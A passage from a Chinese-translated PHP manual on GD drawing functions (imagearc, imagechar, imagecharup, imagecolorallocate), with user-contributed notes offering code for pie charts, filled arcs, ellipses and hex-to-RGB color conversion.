An improvement would be to draw the inner rectangle or more rectangles in the circle with the builtin rectangle function to reduce the usage of imagesetpixel() from (2*r)^2 to 2*Pi*(r + epsilon), in other words, the dependency on r would break down from square to linear.
Another improvement would be to determine filled and unfilled triangles in the observed pixel and calculate their areas, so we can get rid of the inner loops for getting the fraction filled/unfilled.
One can easily modify this function to solve other problems like lines, unfilled circles, etc.
trimbo
06-Sep-2005 03:25
So far using PHP 5.0.4 I've managed to get Imageantialias() to work well with:
ImageLine()
ImagePolygon()

but not with:
ImageArc()
ImageEllipse()
ImageFilled*()

You can still draw antialiased filled polygons by drawing a hollow polygon on top of a filled one with the same dimensions:
<?php
       $points=array($x,$y, $x2,$y2, $x3,$y3);
       imageFilledPolygon($im, $points, 3, $gray );
       imagePolygon($im, $points, 3, $gray );
?>
klaas at kosmokrator dot com
24-May-2004 10:21
I have optimized the "imageSmoothLine" function by logang.

sample and download at:

http://www.kosmokrator.com/download/php/
logang at deltatee dot com
06-Aug-2003 06:28
I've writen some antialiasing functions for people who don't have the requirements for the builtin antialiasing.

You can download a copy at: http://grey.deltatee.com/image.phps
Igor Garcia
30-Jun-2003 05:57
This function its only available if you have the BUNDLED version of GD.
(PHP 4.3.2)
add a note add a note

后退 | 起点 | 前进
imagealphablending | 上一级 | imagearc


imagearc

(PHP 3, PHP 4, PHP 5)

imagearc -- 画椭圆弧

说明

bool imagearc ( resource image, int cx, int cy, int w, int h, int s, int e, int color )

imagearc() 以 cx，cy（图像左上角为 0, 0）为中心在 image 所代表的图像中画一个椭圆弧。w 和 h 分别指定了椭圆的宽度和高度，起始和结束点以 s 和 e 参数以角度指定。0°位于三点钟位置，以顺时针方向绘画。

例子 1. 用 imagearc() 画一个圆

<?php
// 创建一个 200X200 的图像
$img = imagecreatetruecolor(200, 200);
// 分配颜色
$white = imagecolorallocate($img, 255, 255, 255);
$black = imagecolorallocate($img, 0, 0, 0);
// 画一个黑色的圆
imagearc($img, 100, 100, 150, 150, 0, 360, $black);
// 将图像输出到浏览器
header("Content-type: image/png");
imagepng($img);
// 释放内存
imagedestroy($img);
?>

参见 imageellipse()，imagefilledellipse() 和 imagefilledarc()。

add a note add a note User Contributed Notes
mojiro at awmn dot net
14-Dec-2005 04:28
A previous for the Rotated (Filled)Ellipse note from(nojer2 at yahoo dot com, 02-Apr-2001 12:06) has a mistake, at the second arc. Replace them with the following listing.

if ($filled) {
   triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
   triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
} else {
   imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
   imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
}
hans at lintoo dot dk
18-Jul-2004 10:19
When doing a pie chart... you really should not use imagearc, use imagefilledarc instead... it is much much easier...(and I guess every hosting company should support it by now)

3D Piechart:
Se my modified code at: http://dk.php.net/manual/en/function.imagefilledarc.php

For a quick sample see the online demo at:
http://webstatistik.lintoo.dk/
ruturaj_v at yahoo dot com
17-May-2004 09:32
this is another piechart eg. very simple ...

<?php
global $deg;

function get_polar($xrel, $yrel, $ang, $radius) {
   $i = $ang;
   $ang = ($ang * pi())/ 180;

   $ix = abs($radius*cos($ang));
   $iy = abs($radius*sin($ang));

   if ($i>=0 && $i<=90) {
       $ix = $xrel + $ix;
       $iy = $yrel - $iy;
   }
   if ($i>90 && $i<=180) {
       $ix = $xrel - $ix;
       $iy = $yrel - $iy;
   }
   if ($i>180 && $i<=270) {
       $ix = $xrel - $ix;
       $iy = $yrel + $iy;
   }
   if ($i>270 && $i<=360) {
       $ix = $xrel + $ix;
       $iy = $yrel + $iy;
   }

   $ix = floor($ix);
   $iy = floor($iy);
   //echo ($ix . " $iy<br>");
   $returnvals = array (
                       'x1' => $xrel,
                       'y1' => $yrel,
                       'x2' => $ix,
                       'y2' => $iy
                       );
   return $returnvals;
}

function get_degtotal($degindex)
{
   global $deg;
   if ($degindex == 0 ) {
       return (  $deg[$degindex] );
   }
   else {
       return ( $deg[$degindex] + get_degtotal($degindex-1) );
   }
}

$im  = imagecreate (400, 400);
$w  = imagecolorallocate ($im, 255, 255, 255);
$black  = imagecolorallocate ($im, 0, 0, 0);
$red = imagecolorallocate ($im, 255, 0, 0);
$green = imagecolorallocate ($im, 0, 180, 0);

$randcolor[0] = imagecolorallocate($im, 243, 54, 163);
$randcolor[1] = imagecolorallocate($im, 179, 51, 247);
$randcolor[2] = imagecolorallocate($im, 103, 48, 250);
$randcolor[3] = imagecolorallocate($im, 53, 145, 244);
$randcolor[4] = imagecolorallocate($im, 54, 243, 243);
$randcolor[5] = imagecolorallocate($im, 107, 245, 180);
$randcolor[6] = imagecolorallocate($im, 203, 242, 111);
$randcolor[7] = imagecolorallocate($im, 248, 201, 105);

$data[0] = 30;
$data[1] = 20;
$data[2] = 15;
$data[3] = 10;
$data[4] = 8;
$data[5] = 7;
$data[6] = 5;
$data[7] = 5;

$datasum = array_sum($data);

$deg[0] = number_format((30 / $datasum * 360), 2, ".", "");
$deg[1] = number_format((20 / $datasum * 360), 2, ".", "");
$deg[2] = number_format((15 / $datasum * 360), 2, ".", "");
$deg[3] = number_format((10 / $datasum * 360), 2, ".", "");
$deg[4] = number_format((8 / $datasum * 360), 2, ".", "");
$deg[5] = number_format((7 / $datasum * 360), 2, ".", "");
$deg[6] = number_format((5 / $datasum * 360), 2, ".", "");
$deg[7] = number_format((5 / $datasum * 360), 2, ".", "");
echo ('<pre>');

//print_r($deg);

$datadeg = array();
$datapol = array();
$degbetween = array();
$databetweenpol = array();

for ($i=0; $i < count($deg) ; $i++) {
   $datadeg[$i] = get_degtotal($i);
   $datapol[$i] = get_polar(200, 200, $datadeg[$i], 100);
}

for ($i=0; $i < count($datadeg) ; $i++) {
   /*this is a trick where you take 2deg angle before
   and get the smaller radius so that you can have a pt to
   `imagefill` the chartboundary
   */
   $degbetween[$i] = ($datadeg[$i]-2);
   $databetweenpol[$i] = get_polar(200, 200, $degbetween[$i], 50);
}

print_r($datadeg);
print_r($degbetween);
print_r($databetweenpol);
//exit;

for ($i=0; $i<count($deg); $i++) {
   imageline ($im, 200, 200, $datapol[$i]['x2'], $datapol[$i]['y2'], $black);
}
imagearc($im, 200, 200, 200, 200, 0, 360, $black);

for ($i=0; $i<count($deg); $i++) {
   imagefill ($im, $databetweenpol[$i]['x2'], $databetweenpol[$i]['y2'], $randcolor[$i]);

}

//header ("Content-type: image/png");
imagepng($im, 'piechart.png');
?>
<img src='piechart.png'>
jerryscript at aol dot com
26-Dec-2003 06:05
[note-Apache/1.3.29 (Win32) PHP/4.3.4]

The imagearc (and imageellipse) functions do not accept line thicknesses when drawn from 0 to 360 degrees.

Drawing from 0 to 359 and again from 359 to 360 does create an ellipse with the current line thickness.

Jerry
eamon at hostelworld dot com
17-Dec-2003 11:24
Right...
possibly the easiest way of drawing a filled circle:
Loop through the imagearc function incrementing the diameter by one pixel:
<?
 // --- code fragment --- //

for($i=1; $i<$Diameter; $i++){
  imagearc($Image, $CenterX, $CenterY, $i, $i, $Start, $End, $Color);
}

// --------------------- //

?>

This works great for circles with diameters up to about 60 or 70 pixels wide. After that, you start to get pixle gaps.
logang at deltatee dot com
05-Aug-2003 11:19
Heres a function to make a curve between two points... This will be a downward curve but it wouldn't be hard to make a similar function to make an upward curve. The first point has to be to the left of the second point ($x1 < $x2), and height is actually backwards. The larger height is the less of a crest the curve has. I imagine with a few modifications this functions could make upward curves as well.

function ImageCurveDown ($image, $x1, $y1, $x2, $y2, $height, $color) {
   $presicion = 1;

   for ($left = ($x1-$x2); $left < 0; $left++){
       if ($y1 < $y2) {
           $cy = $y2 + $height;
           $cx = $x1 - $left;
       } else {
           $cy = $y1 + $height;
           $cx = $x2 + $left;
       }
       $nx1 = abs($x1 - $cx);
       $ny1 = abs($y1 - $cy);
       $nx2 = abs($x2 - $cx);
       $ny2 = abs($y2 - $cy);

       if ($y1 < $y2) {
           if ($nx2 == 0 || $ny1 == 0) continue;
           $angle1 = atan($height/$nx2);
           $A1 = $nx2/cos ($angle1);
           $B1 = $ny2/sin ($angle1);
           $angle2 = pi()/2 +atan($left/$ny1);
           $A2 = $nx1/cos ($angle2);
           $B2 = $ny1/sin ($angle2);
       } else {
           if ($ny2 == 0 || $nx1 == 0) continue;
           $angle1 = atan($ny2/$nx2);
           $A1 = abs($nx2/cos ($angle1));
           $B1 = abs($ny2/sin ($angle1));
           $angle2 = atan($height/$nx1);
           $A2 = abs ($nx1/cos ($angle2));
           $B2 = abs($ny1/sin ($angle2));
       }

       if (abs($A1 - $A2) < $presicion && abs ($B1 - $B2) < $presicion) {
           ImageArc($image, $cx, $cy, $A1*2, $B1*2, 180+rad2deg($angle2), 360-rad2deg($angle1), $color);
       }
   }
}
24-Jan-2003 12:55
Please note that in order to draw a complete circle or ellipse (without using the imageellipse) you mustn't use 0 for both s and e. If you do this you will get, umm, nothing. Instead set s to 0 and e to 360 to get a complete circle or ellipse.
jinny at 263 dot net
14-May-2002 01:27
imagesetstyle() sets the style to be used by all line drawing functions when drawing with the special color .

Here goes a example of drawing a dashed-line circle.enjoy!

<?php

header("Content-type: image/jpeg");
$im = imagecreate(100,100);

$b  = imagecolorallocate ($im, 0, 0, 0);
$w  = imagecolorallocate ($im, 255, 255, 255);

$style = array ($b,$b,$b,$b,$b,$w,$w,$w,$w,$w);

imagesetstyle ($im, $style);

imagearc($im,50,50,100,100,0,360,IMG_COLOR_STYLED);

imagejpeg($im);
imagedestroy($im);
?>
arve at skogvold dot as
01-Dec-2001 05:04
I found a better way for drawing a pie chart:

header ("Content-type: image/png");
$diameter = 100;
$radius = $diameter / 2;
$centerX = $radius;
$centerY = $radius;

$im = @ImageCreate ($diameter, $diameter)
   or die ("Cannot Initialize new GD image stream");

$background = ImageColorAllocate ($im, 0, 0, 0);
$red = ImageColorAllocate ($im, 176, 0, 0);

function fill_arc($start, $end, $color) {
   global $diameter, $centerX, $centerY, $im, $radius;
   imagearc($im, $centerX, $centerY, $diameter, $diameter, $start, $end, $color);
   imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($start)) * $radius, $centerY + sin(deg2rad($start)) * $radius, $color);
   imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($end)) * $radius, $centerY + sin(deg2rad($end)) * $radius, $color);
   imagefill ($im,$centerX + $radius * 0.5 *cos(deg2rad($start+($end-$start)/2)), $centerY + $radius * 0.5 * sin(deg2rad($start+($end-$start)/2)), $color);
   }

fill_arc(0,30,$red);
// Will make a red filled arc, starting at 0 degrees, ending at 30 degrees

ImagePng ($im);
marc at resiteit dot com
09-Nov-2001 05:04
Round cornered anti-aliased dynamically sized button.

$w=40;
$h=20;
$im = ImageCreate($w,$h);
$white=ImageColorAllocate($im,255,255,255);
ImageFilledRectangle($im,0,0,$w,$h,$white);
imagecolortransparent ($im, $white);
ImageTTFText ($im, $h+ceil($h/3)+1, 0, -1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, 1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h-2, $h-1, $col1, "arialbd.ttf", "O");
$points=array(
   1,round($h/2),
   round($h/4),$h-round($h/4),
   round($h/2),$h,
   $w-(round($h/2)),$h,
   $w-(round($h/4)),$h-round($h/4),
   $w-2,round($h/2),
   $w-round($h/4),round($h/4),
   $w-round($h/2),0,
   round($h/2),0,
   round($h/4),round($h/4)
);
imagefilledpolygon ($im, $points, 10, $col1);

header("content-type: image/gif");
header("Content-Disposition: filename=name.gif");
ImageGif($im);
ImageDestroy($im);
foripepe at yahoo dot com
03-Sep-2001 12:56
To fill an arc (DiameterX != DiameterY):

<?
function imagefilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
   // To draw the arc
   imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
   // To close the arc with 2 lines between the center and the 2 limits of the arc
   $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
   $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
   imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
   $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
   $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
   imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
   // To fill the arc, the starting point is a point in the middle of the closed space
   $x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($DiameterX/4));
   $y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($DiameterY/4));
   imagefilltoborder($Image, $x, $y, $Color, $Color);
}
?>

To close the arc with 2 lines (DiameterX != DiameterY):

<?
function imagenofilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
   // To draw the arc
   imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
   // To close the arc with 2 lines between the center and the 2 limits of the arc
   $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
   $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
   imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
   $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
   $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
   imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
}
?>

An example:
<?
   $destImage = imagecreate( 216, 152 );
   $c0 = imagecolorallocate( $destImage, 0, 255, 255 );
   $c1 = imagecolorallocate( $destImage, 0, 0, 0 );
   $c2 = imagecolorallocate( $destImage, 255, 0, 0 );
   ImageFilledRectangle ( $destImage, 0, 0, 216, 152, $c0 );
   imagefilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c1 );
   imagenofilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c2 );
   header("content-type: image/PNG");
   ImagePNG( $destImage );
   ImageDestroy( $destImage );
?>
09-Apr-2001 01:37
The following site contains heaps of different functions to draw graphs with easy to follow code for newbies and heaps of examples with OVER 60 different predefined graphs
http://www.aditus.nu/jpgraph/index.php
nojer2 at yahoo dot com
02-Apr-2001 05:18
Here's a dashed circle function:

function dashedcircle($im, $cx, $cy, $radius, $colour, $dashsize=5) {

   $dash=false;
   for ($angle=0; $angle<=(180+$dashsize); $angle+=$dashsize) {
     $x = ($radius * cos(deg2rad($angle)));
     $y = ($radius * sin(deg2rad($angle)));

     if ($dash) {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
     }
     $dash=!$dash;
     $px=$x;
     $py=$y;
   }
}
nojer2 at yahoo dot com
02-Apr-2001 05:06
Here's the function to draw rotated ellipses again. This time I've optimised it a bit, fixed the no-fill bug, and used a 'squishratio' rather than a 'radiusmodifier', to make the curves perfect, so ignore my previous version.

function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   $step=2;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

     $ox = ($width * cos(deg2rad($angle)));
     $oy = ($width * sin(deg2rad($angle))) * $squishratio;

     $x =  + (($ox * $cosangle) - ($oy * $sinangle));
     $y = $centrey + (($ox * $sinangle) + ($oy * $cosangle));

     if ($nopreviouspoint) {
       $px=$x;
       $py=$y;
       $nopreviouspoint=false;
     }

     if ($filled) {
         triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($im, $cx, $cy, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
     } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
     }
     $px=$x;
     $py=$y;
   }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}
ericquil at yahoo dot com
29-Sep-2000 07:30
If circles overlap, a temporary border is needed when filling:
ImageArc ($im,$x,$y,$w,$h,0,360,$temp_color);
ImageFillToBorder($im,$x,$y,$temp_color,$fill_color);
ImageArc ($im,$x,$y,$w,$h,0,360,$fill_color);
cbriou at orange-art dot fr
18-Sep-2000 10:03
There is another way to fill an arc :

// To draw the arc
$Color = imagecolorallocate($Image, $Red, $Green, $Blue);
imagearc($Image, $CenterX, $CenterY, $Diameter, $Diameter, $Start, $End, $Color);
// To close the arc with 2 lines between the center and the 2 limits of the arc
$x = $CenterX + (cos(deg2rad($Start))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($Start))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
$x = $CenterX + (cos(deg2rad($End))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($End))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
// To fill the arc, the starting point is a point in the middle of the closed space
$x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($Diameter/4));
$y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($Diameter/4));
imagefilltoborder($Image, $x, $y, $Color, $Color);
timothyhouck at yahoo dot com
17-Aug-2000 06:58
To do filled arcs, try something like this:

$diameter = 50;
imagearc($image, 25, 25, $diameter, $diameter, $start, $end, $color);
while($diameter > 0)
{
  imagearc($image, 25, 25, $diameter, $diameter, $start, $start + 1, $color);
  imagearc($image, 25, 25, $diameter, $diameter, $end - 1, $end, $color);
  $diameter--;
}

...well you get the point.  It's a kludge, and *very* slow, but it's free.
travis at duluth dot com
23-Dec-1999 10:36
The wierd thing is that the first two integers tell where to place the "circle".
So for example I first create the "pallet" to place the circle on.
$image = imagecreate(500, 500);
(this makes a huge 500x500 gif :) )
$colorBody = imagecolorallocate($image, 0, 0, 0);
(make the default color of the "pallet" black
$circleColor = imagecolorallocate($image, 255, 0, 255);
(going to make the circle an ugly pink color)
imagearc($image, 250, 250, 300, 300, 0, 360, $circleColor);
Places the image in the center (250,250) and the circle is 300 pixels in diameter.

Hope this helps.

Travis Kent Beste
add a note add a note

后退 | 起点 | 前进
imageantialias | 上一级 | imagechar


imagechar

(PHP 3, PHP 4, PHP 5)

imagechar -- 水平地画一个字符

说明

bool imagechar ( resource image, int font, int x, int y, string c, int color )

imagechar() 将字符串 c 的第一个字符画在 image 指定的图像中，其左上角位于 x，y（图像左上角为 0, 0），颜色为 color。如果 font 是 1，2，3，4 或 5，则使用内置的字体（更大的数字对应于更大的字体）。

例子 1. imagechar() 例子

<?php

$im = imagecreatetruecolor(100,100);

$string = 'PHP';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// prints a black "P" in the top left corner
imagechar($im, 1, 0, 0, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

参见 imagecharup() 和 imageloadfont()。

add a note add a note User Contributed Notes
sw at profilschmiede dot de
20-Jun-2005 11:35
For the sake of completeness, here is an example for imagechar.
The base-image automatically adjusts to the size and the height of the given string. Using the rand()-function the y-position of each char is slightly varied with every loop-run. You can easily rewrite the script to use a randomly generated string - the one given here just serves as an example.

<?php

$string = '1 2 3 4 5 6 7 8 9 A B C D E F G';
$font_size = 5;
$width=imagefontwidth($font_size)*strlen($string);
$height=imagefontheight($font_size)*2;
$img = imagecreate($width,$height);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);
$len=strlen($string);

for($i=0;$i<$len;$i++)
{
   $xpos=$i*imagefontwidth($font_size);
   $ypos=rand(0,imagefontheight($font_size));
   imagechar($img,$font_size,$xpos,$ypos,$string,$black);
   $string = substr($string,1);

}
header("Content-Type: image/gif");
imagegif($img);
imagedestroy($img);
?>
add a note add a note

后退 | 起点 | 前进
imagearc | 上一级 | imagecharup


imagecharup

(PHP 3, PHP 4, PHP 5)

imagecharup -- 垂直地画一个字符

说明

bool imagecharup ( resource image, int font, int x, int y, string c, int color )

imagecharup() 将字符 c 垂直地画在 image 指定的图像上，位于 x，y（图像左上角为 0, 0），颜色为 color。如果 font 为 1，2，3，4 或 5，则使用内置的字体。

例子 1. imagecharup() 例子

<?php

$im = imagecreatetruecolor(100,100);

$string = 'Note that the first letter is a N';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// prints a black "Z" on a white background
imagecharup($im, 3, 10, 10, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

参见 imagechar() 和 imageloadfont()。

add a note add a note User Contributed Notes
evolution at turkishboyz dot net
27-Feb-2006 06:33
<?
$resim = imagecreatetruecolor(400,400);
$renk1 = imagecolorallocate($resim,222,222,222);
$renk2 = imagecolorallocate($resim,111,111,111);
$renk3 = imagecolorallocate($resim,123,123,123);
$yazi  = "Merhaba Dunyalilar";
$x    =strlen($yazi);
for($a=1;$a<=$x;$a++){
   imagecharup($resim,10,20,20*$a,$yazi,$renk2);
   $yazi = substr($yazi,1);
   }
imagejpeg($resim);
imagedestroy($resim);
?>
jansafar at volny dot cz
03-Dec-2005 02:18
I'm using imagestringup() function to write text upwards.
php at corzoogle dot com
17-Jun-2005 07:28
<?php
// incredibly, no one has added this.
// write a string of text vertically on an image..
// ;o)

$string = '(c) corz.org';
$font_size = 2;
$img = imagecreate(20,90);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);

$len = strlen($string);
for ($i=1; $i<=$len; $i++) {
   imagecharup($img, $font_size, 5, imagesy($img)-($i*imagefontwidth($font_size)), $string, $black);
   $string = substr($string,1);
}
header('Content-type: image/png');
imagepng($img);
imagedestroy($img); // dudes! don't forget this!
?>
add a note add a note

后退 | 起点 | 前进
imagechar | 上一级 | imagecolorallocate


imagecolorallocate

(PHP 3, PHP 4, PHP 5)

imagecolorallocate -- 为一幅图像分配颜色

说明

int imagecolorallocate ( resource image, int red, int green, int blue )

imagecolorallocate() 返回一个标识符，代表了由给定的 RGB 成分组成的颜色。image 参数是 imagecreatetruecolor() 函数的返回值。red，green 和 blue 分别是所需要的颜色的红，绿，蓝成分。这些参数是 0 到 255 的整数或者十六进制的 0x00 到 0xFF。imagecolorallocate() 必须被调用以创建每一种用在 image 所代表的图像中的颜色。

注: 第一次对 imagecolorallocate() 的调用会填充背景色。

<?php
$im = imagecreatetruecolor('example.jpg');
// 背景设为红色
$background = imagecolorallocate($im, 255, 0, 0);
// 设定一些颜色
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);
// 十六进制方式
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);
?>

如果分配失败则返回 -1。

参见 imagecolorallocatealpha() 和 imagecolordeallocate()。

add a note add a note User Contributed Notes
erik at phpcastle dot com
03-Apr-2006 03:45
Hi,

During developing a gradient method I discovered that there can only be 255 colors allocated somehow...

So the first 255 are going ok and after these the colorallocate function returns -1. My work around for this problem was to put the allocated color in an array and check if this variable exists before calling imagecolorallocate again.

Did not had this problem again and my gradient scaled well after discovering this :)

This is the piece of code that created a gradient PNG. The code is top down programmed and not put in a function or class yet.

Because the code is 124 lines of code I've put the script at my website: http://beta.phpcastle.com/snippets/PHP/Image+Gradient (website still beta :P)

I hope someone can use this addition
SW
14-Jan-2006 06:00
This works! A Black-Image with vertical centered white Aliased Arial-Text and same left and right margin - used for Menu-Buttons.

<?php

  function createImgText ($string="", $fontsize=0, $marginX=0, $imgH=0 , $fontfile="", $imgColorHex="", $txtColorHex=""){
   if($string!=""){
       Header("Content-type: image/png");
       //
       $spacing = 0;
         $line = array("linespacing" => $spacing);
       $box = @imageftbbox($fontsize,0,$fontfile,$string,$line)
       or die("ERROR");
       $tw=$box[4]-$box[0]; //image width
       $marginY = $imgH - (($imgH - $fontsize) / 2);
       $imgWidth = $tw + (2*$marginX);
       $im = ImageCreate($imgWidth, $imgH);
       $int = hexdec($imgColorHex);
       $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
       $black = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
       $int = hexdec($txtColorHex);
       $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
       $white = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
       ImageFtText($im, $fontsize, 0, $marginX, $marginY, $white, $fontfile, $string, array());
       ImagePng($im);
       ImageDestroy($im);
   }else{
       echo "ERROR!";
   }
}
createImgText ("Hello World", 9, 10, 18, "arial.ttf", "000000", "FFFFFF");
?>
mlse
15-Nov-2005 05:49
Another more general variation on the theme using the same naming conventions as the hexdec and dechex built-in functions ...

Prototype:

array hexrgb ( string hex_string )

Returns:

An associative array of the RGB components specified in hex_string.

hexrgb() example:

<?php
$rgb = hexrgb("0xAABBCC");
print_r($rgb);
?>

Output is:

Array
(
  [red] => 170
  [green] => 187
  [blue] => 204
)

Implementation:

<?php
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);

  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}
?>

The output of hexdec can then be passed to imagecolorallocate and manipulated as required.
miked at m80im dot com
08-Nov-2005 09:40
improvement upon fromhex function by avi at amarcus dot com

<?php

   function fromhex($string,&$image) {
     sscanf($string, "%2x%2x%2x", $red, $green, $blue);
     return ImageColorAllocate($image,$red,$green,$blue);
   }

   //Example for calling a hex color:
   ImageFill($image, 0, 0, fromhex('FFFFFF'));

?>
Zigbigidorlu at hotmail dot com
07-Oct-2005 03:05
Here's a very simple and very effective code to change a HEX color to RGB.

-------------------------

function HEX2RGB($color){
 $color_array = array();
 $hex_color = strtoupper($color);
 for($i = 0; $i < 6; $i++){
  $hex = substr($hex_color,$i,1);
  switch($hex){
   case "A": $num = 10; break;
   case "B": $num = 11; break;
   case "C": $num = 12; break;
   case "D": $num = 13; break;
   case "E": $num = 14; break;
   case "F": $num = 15; break;
   default: $num = $hex; break;
  }
  array_push($color_array,$num);
 }
 $R = (($color_array[0] * 16) + $color_array[1]);
 $G = (($color_array[2] * 16) + $color_array[3]);
 $B = (($color_array[4] * 16) + $color_array[5]);
 return array($R,$G,$B);
 unset($color_array,$hex,$R,$G,$B);
}

-------------------------
mail at kailashnadh dot name
28-Jun-2005 10:47
This nifty function will produce the negative of a given image!

<?php

/********************************

     Code by Kailash Nadh
     http://kailashnadh.name

     usage:
     img2neg("my_pic.jpg");

*********************************/

function img2neg($pic) {

   header("Content-type: image/jpeg");

   $source=imagecreatefromjpeg($pic);    // Source
   $width=imagesx($source);    $height=imagesy($source);

   $im = imagecreatetruecolor($width, $height);    // Our negative img in the making

   for($y=0; $y < $height; $y++) {
       for($x=0; $x < $width; $x++) {

       $colors=imagecolorsforindex($source, imagecolorat($source, $x,$y));

           // this is what makes the colors negative
           $r=255-$colors['red'];
           $g=255-$colors['green'];
           $b=255-$colors['blue'];
           $test=imagecolorallocate($im, $r,$g,$b);
           imagesetpixel($im,$x, $y, $test);
       }
   }

   imagejpeg($im);
   imagedestroy($im);
}

?>
andreoli dot carlo at libero dot it
08-Jun-2005 09:38
hsl to RGB
(not yet optimized but it function)

function hslToRgb ($h, $s, $l) {
   if ($h>240 || $h<0) return array(0,0,0);
   if ($s>240 || $s<0) return array(0,0,0);
   if ($l>240 || $l<0) return array(0,0,0);
   if ($h<=40) {
       $R=255;
       $G=(int)($h/40*256);
       $B=0;
   }
   elseif ($h>40 && $h<=80) {
       $R=(1-($h-40)/40)*256;
       $G=255;
       $B=0;
   }
   elseif ($h>80 && $h<=120) {
       $R=0;
       $G=255;
       $B=($h-80)/40*256;
   }
   elseif ($h>120 && $h<=160) {
       $R=0;
       $G=(1-($h-120)/40)*256;
       $B=255;
   }
   elseif ($h>160 && $h<=200) {
       $R=($h-160)/40*256;
       $G=0;
       $B=255;
   }
   elseif ($h>200) {
       $R=255;
       $G=0;
       $B=(1-($h-200)/40)*256;
   }
   $R=$R+(240-$s)/240*(128-$R);
   $G=$G+(240-$s)/240*(128-$G);
   $B=$B+(240-$s)/240*(128-$B);
   if ($l<120) {
       $R=($R/120)*$l;
       $G=($G/120)*$l;
       $B=($B/120)*$l;
   }
   else {
       $R=$l*((256-$R)/120)+2*$R-256;
       $G=$l*((256-$G)/120)+2*$G-256;
       $B=$l*((256-$B)/120)+2*$B-256;
   }
   if ($R<0) $R=0;
   if ($R>255) $R=255;
   if ($G<0) $G=0;
   if ($G>255) $G=255;
   if ($B<0) $B=0;
   if ($B>255) $B=255;

   return array((int)$R,(int)$G,(int)$B);
}
mv at brazil dot com
16-Mar-2005 03:34
<?

/**
 * Create a image bar using lib GD
 * Ege. <img src="color_sample.php?color=FF0000" width="10 height="30">
 */

// Split the HTML color representation
$hexcolor = str_split($_GET["color"], 2);

// Convert HEX values to DECIMAL
$bincolor[0] = hexdec("0x{$hexcolor[0]}");
$bincolor[1] = hexdec("0x{$hexcolor[1]}");
$bincolor[2] = hexdec("0x{$hexcolor[2]}");

$im = ImageCreate(100, 100);
$colorallocate = ImageColorAllocate($im, $bincolor[0], $bincolor[1], $bincolor[2]);
ImageFilledRectangle($im, 0, 0, 100, 100, $colorallocate);
header('Content-Type: image/png');
